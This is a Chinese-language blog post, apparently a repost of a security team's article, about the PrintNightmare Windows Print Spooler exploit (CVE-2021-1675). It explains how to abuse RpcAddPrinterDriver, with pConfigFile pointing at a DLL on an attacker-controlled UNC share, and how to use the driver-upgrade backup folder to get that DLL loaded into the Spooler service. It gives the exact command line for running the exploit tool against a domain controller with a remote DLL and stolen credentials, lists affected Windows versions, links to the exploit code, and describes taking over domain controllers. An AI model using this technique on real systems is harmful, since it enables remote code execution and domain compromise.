前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-1675 Windows Print Spooler RCE EXP

CVE-2021-1675 Windows Print Spooler RCE EXP

作者头像
Khan安全团队
发布2021-07-08 11:42:11
1.2K0
发布2021-07-08 11:42:11
举报
文章被收录于专栏:Khan安全团队

PrintNightmare (CVE-2021-1675):Windows 后台处理程序服务中的远程代码执行

RpcAddPrinterDriver

向服务器添加打印机驱动程序 (RpcAddPrinterDriver)

让我们检查一下关于 RpcAddPrinterDriver 调用的 MS-RPRN:打印系统远程协议。

要将打印机驱动程序(“OEM 打印机驱动程序”)添加或更新到打印服务器(“CORPSERV”),客户端(“TESTCLT”)执行以下步骤。

  1. 客户端可以使用 RPC 调用 RpcAddPrinterDriver 向打印服务器添加驱动程序。
  2. 客户端确保打印机驱动程序的文件位于服务器可访问的位置。为此,客户端可以共享包含文件的本地目录,或使用 [MS-SMB] 将文件放入服务器上的目录中
  3. 然后客户端分配并填充 DRIVER_INFO_2 结构,如下所示:pName = L"OEM 打印机驱动程序";pEnvironment = L"Windows NT x86"; /* 驱动兼容的环境 */pDriverPath = "\\CORPSERV\C
  4. 客户端分配一个 DRIVER_CONTAINER driverContainer 结构并初始化它以包含 DRIVER_INFO_2 结构。
  5. 客户端调用 RpcAddPrinterDriver。 RpcAddPrinterDriver( L"\\CORPSERV", &driverContainer );

假设您在那里提供服务的路径

pDataFile =A.dll

pConfigFile =\attackerip\Evil.dll

pDriverPath=C.dll

它将 A、B 和 C 复制到文件夹 C:\Windows\System32\spool\drivers\x64\3\new。然后它将它们复制到 C:\Windows\System32\spool\drivers\x64\3,并加载 C:\Windows\System32\spool\drivers\x64\3\A.dll 和 C:\Windows\System32\ spool\drivers\x64\3\C.dll 进入 Spooler 服务。但是,在最新版本中,Spooler 将检查以确保 A 和 C 不是 UNC 路径。但是由于 B 可以是 UNC 路径,所以我们可以将 pConfigFile 设置为 UNC 路径(evildll)。这将使我们的 evildll Evil.dll 被复制到 C:\Windows\System32\spool\drivers\x64\3\ Evil.dll。然后再次调用 RpcAddPrinterDriver,将 pDataFile 设置为 C:\Windows\System32\spool\drivers\x64\3\Evil.dll。它将加载我们的邪恶 dll。不幸的是,它不起作用。因为如果你在文件夹C:\Windows\System32\spool\drivers\x64\3中设置了A、B、C。文件复制会出现访问冲突。为了绕过这个,我们需要使用驱动程序升级的备份功能。如果我们升级某些驱动程序,旧版本将备份到 C:\Windows\System32\spool\drivers\x64\3\old\1\ 文件夹中。然后我们可以绕过访问冲突并成功将我们的 evil.dll 注入到 spooler 服务中。

成功加载我们的dll:

用法

代码语言:javascript
复制
.\PrintNightmare.exe dc_ip path_to_exp user_name password

Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123#

影响版本

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server, version 2004 (Server Core installation)

Windows RT 8.1

Windows 8.1 for x64-based systems

Windows 8.1 for 32-bit systems

Windows 7 for x64-based Systems Service Pack 1

Windows 7 for 32-bit Systems Service Pack 1

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows 10 Version 2004 for x64-based Systems

Windows 10 Version 2004 for ARM64-based Systems

Windows 10 Version 2004 for 32-bit Systems

Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H1 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

该漏洞可用于实现 LPE 和 RCE。至于 RCE 部分,您需要一个用户在 Spooler 服务上进行身份验证。但是,这在域环境中仍然很重要。由于通常 DC 会启用 Spooler 服务,因此被入侵的域用户可能会利用此漏洞来控制 DC

地址

https://github.com/afwu/PrintNightmare

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-06-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • PrintNightmare (CVE-2021-1675):Windows 后台处理程序服务中的远程代码执行
  • RpcAddPrinterDriver
  • 用法
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档